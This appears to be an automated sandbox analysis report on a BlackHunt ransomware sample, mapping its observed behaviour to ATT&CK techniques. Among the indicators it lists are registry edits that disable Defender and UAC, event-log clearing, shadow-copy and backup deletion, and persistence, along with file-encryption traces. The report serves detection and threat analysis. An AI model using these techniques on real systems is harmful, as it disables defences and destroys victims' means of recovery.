a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496

Data Destruction

T1485

pid	Process
856	fsutil.exe
3684	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	cmd.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
996	wevtutil.exe
3184	wevtutil.exe
584	wevtutil.exe
4060	wevtutil.exe
3624	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2928	bcdedit.exe
308	bcdedit.exe
1600	bcdedit.exe
3564	bcdedit.exe

Renames multiple (2898) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2592	wbadmin.exe
1676	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\A:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\E:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\P:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\M:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\L:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\B:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\X:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\V:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\N:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\Y:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\H:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\S:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\G:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\T:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\U:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\K:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\Z:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\Q:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\R:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\J:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\W:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\I:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jre7\lib\zi\Australia\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.pb_2.3.5.v201404071733.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\La_Rioja	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management\snmp.acl.template	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Enderbury	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\about.html	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\EST	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach_5.5.0.165303.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-settings.xml	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Dawson	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-openide-util-enumerations.xml_hidden	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\tzmappings	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Nipigon	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Noronha	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring_ja.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.xml	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\org-openide-filesystems_ja.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host.xml	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.nl_zh_4.4.0.v20140623020002.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Reunion	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yerevan	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_zh_4.4.0.v20140623020002.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_ja.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\access-bridge-64.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.STP	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\CircleSubpicture.png	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.xml	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Sao_Paulo	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvm.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\THIRDPARTYLICENSEREADME-JAVAFX.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Vostok	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Paris	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui_3.106.0.v20140812-1751.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jre7\lib\zi\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_zh_CN.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1976	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2868	vssadmin.exe
2384	vssadmin.exe
588	vssadmin.exe
2096	vssadmin.exe
1912	vssadmin.exe
272	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4048	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1136	PING.EXE

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeRestorePrivilege	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeBackupPrivilege	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeTakeOwnershipPrivilege	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeAuditPrivilege	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeSecurityPrivilege	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeIncBasePriorityPrivilege	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeBackupPrivilege	2188	vssvc.exe
Token: SeRestorePrivilege	2188	vssvc.exe
Token: SeAuditPrivilege	2188	vssvc.exe
Token: SeBackupPrivilege	2760	Process not Found
Token: SeRestorePrivilege	2760	Process not Found
Token: SeSecurityPrivilege	2760	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 3040	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	154
PID 2864 wrote to memory of 3040	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	154
PID 2864 wrote to memory of 3040	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	154
PID 2864 wrote to memory of 3040	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	154
PID 2864 wrote to memory of 2168	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	152
PID 2864 wrote to memory of 2168	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	152
PID 2864 wrote to memory of 2168	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	152
PID 2864 wrote to memory of 2168	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	152
PID 2864 wrote to memory of 1728	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	150
PID 2864 wrote to memory of 1728	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	150
PID 2864 wrote to memory of 1728	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	150
PID 2864 wrote to memory of 1728	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	150
PID 2864 wrote to memory of 2560	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	226
PID 2864 wrote to memory of 2560	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	226
PID 2864 wrote to memory of 2560	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	226
PID 2864 wrote to memory of 2560	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	226
PID 3040 wrote to memory of 1332	3040	cmd.exe	148
PID 3040 wrote to memory of 1332	3040	cmd.exe	148
PID 3040 wrote to memory of 1332	3040	cmd.exe	148
PID 2168 wrote to memory of 1432	2168	cmd.exe	147
PID 2168 wrote to memory of 1432	2168	cmd.exe	147
PID 2168 wrote to memory of 1432	2168	cmd.exe	147
PID 2864 wrote to memory of 2656	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	144
PID 2864 wrote to memory of 2656	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	144
PID 2864 wrote to memory of 2656	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	144
PID 2864 wrote to memory of 2656	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	144
PID 2864 wrote to memory of 2696	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	143
PID 2864 wrote to memory of 2696	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	143
PID 2864 wrote to memory of 2696	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	143
PID 2864 wrote to memory of 2696	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	143
PID 2864 wrote to memory of 2608	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	142
PID 2864 wrote to memory of 2608	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	142
PID 2864 wrote to memory of 2608	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	142
PID 2864 wrote to memory of 2608	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	142
PID 2864 wrote to memory of 2464	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	139
PID 2864 wrote to memory of 2464	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	139
PID 2864 wrote to memory of 2464	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	139
PID 2864 wrote to memory of 2464	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	139
PID 2560 wrote to memory of 3024	2560	WMIADAP.EXE	138
PID 2560 wrote to memory of 3024	2560	WMIADAP.EXE	138
PID 2560 wrote to memory of 3024	2560	WMIADAP.EXE	138
PID 2656 wrote to memory of 2744	2656	cmd.exe	137
PID 2656 wrote to memory of 2744	2656	cmd.exe	137
PID 2656 wrote to memory of 2744	2656	cmd.exe	137
PID 2864 wrote to memory of 2672	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	136
PID 2864 wrote to memory of 2672	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	136
PID 2864 wrote to memory of 2672	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	136
PID 2864 wrote to memory of 2672	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	136
PID 2864 wrote to memory of 2752	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	134
PID 2864 wrote to memory of 2752	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	134
PID 2864 wrote to memory of 2752	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	134
PID 2864 wrote to memory of 2752	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	134
PID 1728 wrote to memory of 2480	1728	cmd.exe	132
PID 1728 wrote to memory of 2480	1728	cmd.exe	132
PID 1728 wrote to memory of 2480	1728	cmd.exe	132
PID 2864 wrote to memory of 2220	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	181
PID 2864 wrote to memory of 2220	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	181
PID 2864 wrote to memory of 2220	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	181
PID 2864 wrote to memory of 2220	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	181
PID 2864 wrote to memory of 2592	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	167
PID 2864 wrote to memory of 2592	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	167
PID 2864 wrote to memory of 2592	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	167
PID 2864 wrote to memory of 2592	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	167
PID 2864 wrote to memory of 2504	2864	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	129

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
